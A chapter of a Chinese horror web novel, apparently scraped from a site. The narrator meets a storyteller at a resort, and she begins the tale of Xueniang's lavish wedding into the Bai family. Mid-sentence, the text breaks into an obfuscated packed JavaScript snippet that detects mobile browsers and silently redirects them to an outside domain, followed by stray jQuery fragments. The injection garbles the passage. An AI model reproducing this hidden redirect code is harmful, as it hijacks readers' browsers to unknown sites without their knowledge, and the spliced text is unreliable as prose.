59.白府——雪娘(一)
作品:《心惊胆颤》 第三个故事讲完,我才恍然明白,原来这三个故事竟然都是有关联的。
宋大胆带回去的残尸,就是小翠,他那天听到的唱戏声,就是安良在白家所唱的破阵。
而小翠就是白家买来为白少夫人,也就是陶正超的前未婚妻——钱家小姐做"补丁"的。
水猴子捞起来的孕尸,是白家少爷的通房丫鬟‘梅兰’。
他用来做婴尸的胎儿是白少爷的骨肉。
而吓死胡半仙的应该就是化成厉鬼的小翠和陶正超。
这么看来一切都与白家有关。想必下一个故事,应该就是白家的事了吧?
我没想到孟英讲故事的水平竟然这么高。
她的声音抑扬顿挫,讲到关键处会故意压低声音,让人不自觉地屏住呼吸;
描述场景时又绘声绘色,仿佛那些画面就浮现在眼前。
收到我的夸奖,她笑得很开心,眼睛弯成了月牙形,露出两个可爱的小酒窝。
就在这时,我再次听到门口传来狗叫声。
"汪汪"两声,短促而响亮。
与此同时,手机里也同样传来相同频率的狗叫,这下我不得不怀疑,我们就处在同一地点。
"孟英,你在哪?"我忍不住问道,手指不自觉地敲击着桌面。
孟英被我问的一愣,光迅镜头晃了晃,似乎没想到我会突然这么问。
她将散落的发丝别到耳后,犹豫了一下才回答:"我在一家名叫名流溪的度假山庄度假呢,怎么了?你为什么这么问?"
我的心跳突然加快。这也太巧了!
我立刻坐直了身子:"这么巧吗?我也在山庄,三楼304。刚刚听到了狗叫,你那里也有,我就想着不会是你的狗吧,没想到还真有可能是。"
电话那头传来一阵窸窸窣窣的声音,接着是孟英惊讶的轻呼:
"真的吗?我在302!这也太有缘分了!"
她的声音里带着掩饰不住的兴奋,"你听到的狗叫声肯定是我家狗叫的,它叫阿黄,是只金毛串串,特别爱叫。"
因为这次意外的巧合,我提议在酒店咖啡厅见面。
名流溪度假山庄的咖啡厅装修得很有格调,落地窗外是修剪整齐的草坪和远处的山景。
我选了个靠窗的位置坐下,点了一杯美式咖啡。
没过多久,孟英就带着她的狗出现了。
她比视频里看起来更年轻,约莫二十五六岁的样子,穿着简单的白色T恤和牛仔裤,头发随意地扎成马尾。
阿黄是只毛色金黄的土狗,体型中等,见到我就热情地摇尾巴。
"它平时可凶了,今天倒是挺友好。"孟英笑着揉了揉阿黄的脑袋,在我对面坐下。
她点了一杯焦糖玛奇朵,还特意给阿黄要了杯水。
"没想到我们居然住在同一个酒店,还是隔壁房间。"孟英搅拌着咖啡,眼睛亮晶晶的,"我本来只是随便找个安静的地方度假,顺便录几个故事视频。"
"我也是来放松的。"我回答道,"不过能遇到你真是意外之喜。你讲的那些故事太精彩了,一环扣一环的。"
孟英不好意思地笑了笑:"其实这些故事都是镇子上的老人家讲给我听的。"她压低声音,"不过有些细节是我自己加工的,为了效果嘛。"
我们聊得很投机,从鬼故事谈到各自的工作,又说到喜欢的书籍和电影。
阿黄安静地趴在孟英脚边,时不时打个哈欠。窗外的阳光渐渐西斜,给咖啡厅镀上一层金色的光晕。
"明天要不要继续听故事?"临走时孟英问道,"我可以给你讲白家本家的故事,那才是最精彩的部分。"
"当然想听。"我毫不犹豫地答应。
"那明天上午十点,树林那边的凉亭见吧。"孟英指了指窗外远处的一片小树林,"那里环境好,适合讲故事。"
回到304房间后,我躺在床上回想今天的偶遇,觉得这次度假真是意外的收获。
手机屏幕亮起,是孟英发来的消息:"明天见,记得带驱蚊水,树林里蚊子多。"
我笑着回复了一个"OK"的表情,开始期待明天的故事时间。
窗外,夕阳的余晖渐渐消失在山后,给名流溪度假山庄披上了一层静谧的暮色。
很快来到第二天,因为已经确定本人在身边,所以我们碰面后,她是在树林的凉亭里开始讲的第四个故事。
————
钱家有女,名唤雪娘,年方二八,正值妙龄。
幽都镇上谁人不知钱家这位千金,生得是肤若凝脂,眉如远山,一双杏眼顾盼生辉,朱唇不点而红。
更难得的是她自幼饱读诗书,琴棋书画样样精通,一手簪花小楷写得娟秀清丽,连县太爷见了都赞不绝口。
雪娘及笄那年,钱府门前便车马不绝。
说媒的婆子们踏破了门槛,个个舌绽莲花,把自家公子夸得天上少有地上无双。
东街绸缎庄的少东家,西城举人老爷的公子,甚至连邻县知县的侄子都遣了媒人来说亲。
钱府门房的老张头每日光收拜帖都能收得手软,那些精致的红纸金笺在偏厅的案几上堆得老高。
钱老爷是前朝进士出身,虽因世道变迁未能出仕,但在幽都镇仍是数一数二的乡绅。
钱夫人出身名门,最是讲究礼数。
夫妻二人膝下仅此一女,自然千挑万选。
那些个商贾之家,纵有万贯家财,钱老爷也只捋着胡须摇头;
有些官宦子弟,虽前程似锦,但家中已有通房丫头,钱夫人便蹙着眉头将帖子搁在一旁。
"我家雪娘,断不能嫁那三妻四妾的人家。"钱老爷在书房里对老管家说道,手中的茶盏重重搁在案上,"更别说那些未娶正妻就先有庶子的,成何体统!"
这话传出去后,说亲的人少了一半。
剩下的要么是真心求娶,要么是自认条件相符。可钱老爷夫妇左挑右选,总觉得差了些意思。
雪娘倒是不急,每日依旧在绣楼里读书习字,偶尔抚琴一曲,琴声悠扬,飘出院墙,惹得过路的行人驻足聆听。
谁曾想,就在上元节过后,钱府突然传出要与白家结亲的消息。
这白家乃是幽都镇首富,白老爷年轻时走南闯北,如今在省城都有人脉。
白家少爷白振宇,今年二十有三,生得剑眉星目,气度不凡。
去年刚从西洋游学归来,带回来许多新奇物件,在镇上引起不小轰动。
最难得的是白家家风严谨,白老爷虽富甲一方,却从不纳妾。
白振宇更是洁身自好,身边连个通房丫头都没有。这门亲事,怎么看都是天作之合。
定亲那日,白家送来的聘礼足足抬了十八担。
绫罗绸缎、金银首饰自不必说,还有西洋来的自鸣钟、玻璃镜,看得围观的百姓啧啧称奇。
雪娘躲在屏风后偷看,只见那白振宇一袭月白长衫,举止得体,谈吐不凡,不由得羞红了脸。
钱老爷抚须微笑,钱夫人也频频点头。
两家交换庚帖时,连向来挑剔的钱老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076476|178037||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夫人都说:"这门亲事,当真是天赐良缘。"
从此,幽都镇上人人都道,钱家小姐与白家少爷,真真是郎才女貌,天造地设的一对。
————
很快,就到了二人大喜之日。
整个幽都镇都沉浸在这桩门当户对的喜事氛围中。
白府提前半月就开始筹备,府中上下三十余名仆役日夜忙碌。
为表重视,白府不仅提前五天开始施粥,更在府门外搭起了三丈高的彩楼,悬挂着九九八十一盏红灯笼,入夜后灯火通明,将半条街都映照得如同白昼。
婚礼前夜,白府就已是宾客盈门。
来自省城的戏班子在庭院中搭台唱戏,一曲《龙凤呈祥》唱到三更天。
厨房里十二个灶台同时开火,二十位厨娘忙着准备明日喜宴的菜肴。
院子里摆满了从各地运来的贺礼:景德镇的青花瓷、苏杭的绸缎、甚至还有从南洋运来的珍奇香料,琳琅满目地堆满了三间厢房。
吉日清晨,白振宇身着大红喜袍,腰间系着金丝玉带,玉带上缀着十二块和田玉佩,走动时叮咚作响。
他头戴乌纱帽,帽檐两侧的金花在朝阳下熠熠生辉。
府中老管家亲自为他整理衣冠,一边念叨着吉祥话,一边将准备好的八十一袋铜钱装上迎亲的马车。
迎亲队伍堪称幽都镇数十年来最盛大的场面。
领头的是十六名身着红衣的乐手,吹奏着欢快的《百鸟朝凤》;
随后是二十四名提着花篮的丫鬟,沿途抛洒花瓣;
紧接着是六十四名轿夫轮换抬着的描金花轿,轿身通体朱红,四面雕刻着百子千孙图,轿顶四角的银铃随着步伐发出清脆的声响。
白振宇骑着通体雪白的西域骏马走在队伍正中,马头上系着大红绣球,马鞍上镶着明珠宝石,在阳光下闪闪发光。
队伍每经过一处街口,管家便命人撒出三把铜钱。黄澄澄的铜板如雨点般落下,叮叮当当地砸在青石板上。
孩童们欢呼雀跃地争抢,大人们则站在路边拱手道贺。更有小贩趁机在路边摆起摊子,叫卖着喜糖、红绳等吉祥物件,整条街都成了欢乐的海洋。
白振宇骑在马上,望着这热闹景象,心中欢喜得几乎要溢出来。
他想起半年前在观音庙初见雪娘的情景——那日她身着淡青衣裙,发间只簪一支白玉兰,跪在佛前祈祷时,阳光透过窗棂洒在她身上,宛如为她镀上一层金边。
那惊鸿一瞥,便让他魂牵梦萦至今。
花轿行至钱府时,钱家大门前早已围满了看热闹的百姓。
雪娘天未亮就起身梳妆,全福夫人为她开脸时,她疼得眼眶泛红却强忍着不落泪。
丫鬟们为她穿上大红嫁衣,衣上金线绣的凤凰栩栩如生,裙摆处还缀着九百九十九颗珍珠,走动时如星河流动。
梳头娘子一边为她绾发,一边唱着吉祥话,发间插着的金步摇随着动作轻轻晃动。
吉时一到,喜婆背着盖着红盖头的雪娘走出闺阁。
围观的众人只见新娘身段窈窕,虽看不见面容,但那通身的气度已让人移不开眼。
临上花轿时,白振宇忍不住上前一步,伸手扶了新娘一把。
透过盖头下方的缝隙,雪娘看见那只骨节分明的手,指甲修剪得整齐干净,指节处有一道浅浅的疤痕,想来是读书时留下的墨痕。
返程途中,队伍行至城郊一处荒地时,天色突然大变。
原本晴朗的天空瞬间乌云密布,一阵狂风卷着黄沙呼啸而来。

